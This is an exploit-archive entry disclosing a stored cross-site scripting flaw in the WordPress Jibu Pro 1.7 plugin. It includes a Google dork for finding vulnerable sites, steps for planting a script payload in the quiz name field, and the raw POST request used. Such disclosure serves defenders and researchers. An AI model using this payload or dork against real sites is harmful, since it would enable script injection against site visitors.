WordPress Jibu Pro 1.7 Cross Site Scripting

WordPress Jibu Pro plugin version 1.7 suffers from a cross site scripting vulnerability.

MD5 | b641a7402e57dbb0f939b9e309f95e3d

# Exploit Title: WordPress Plugin Jibu Pro 1.7 - Cross-Site Scripting
# Google Dork: inurl:"/wp-content/plugins/jibu-pro"
# Date: 2018-08-29
# Exploit Author: Renos Nikolaou
# Software Link: https://downloads.wordpress.org/plugin/jibu-pro.1.7.zip
# Version: 1.7
# Tested on: Kali Linux
# CVE: N/A
# Description: Jinu Pro is prone to Stored Cross Site Scripting vulnerabilities
# because it fails to properly sanitize user-supplied input.

# PoC - Stored XSS - Parameter: name
# 1) Login as a user who have access to Jibu Pro plugin.
# 2) Jibu-Pro --> Create Quiz.
# 3) At the Quiz Name type: poc"><script>alert(1)</script> , then fill the remaining fields and click Save.
# (The first pop-up will appear. Also keep note of the shortcode, similar to: [Test Number])
# 4) Click Create New Questions, fill the fields and click Save.
# 5) Copy the Shortcode [Test Number] into any post or page and visit the it via browser.

# Post Request (Step 3):

POST /wordpress/wp-content/plugins/jibu-pro/quiz_action.php HTTP/1.1
Host: domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://domain.com/wordpress/wp-admin/edit.php?page=jibu-pro%2Fquiz_form.php&action=new
Cookie: wordpress_295cdc576d46a74a4105db5d33654g45
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 512


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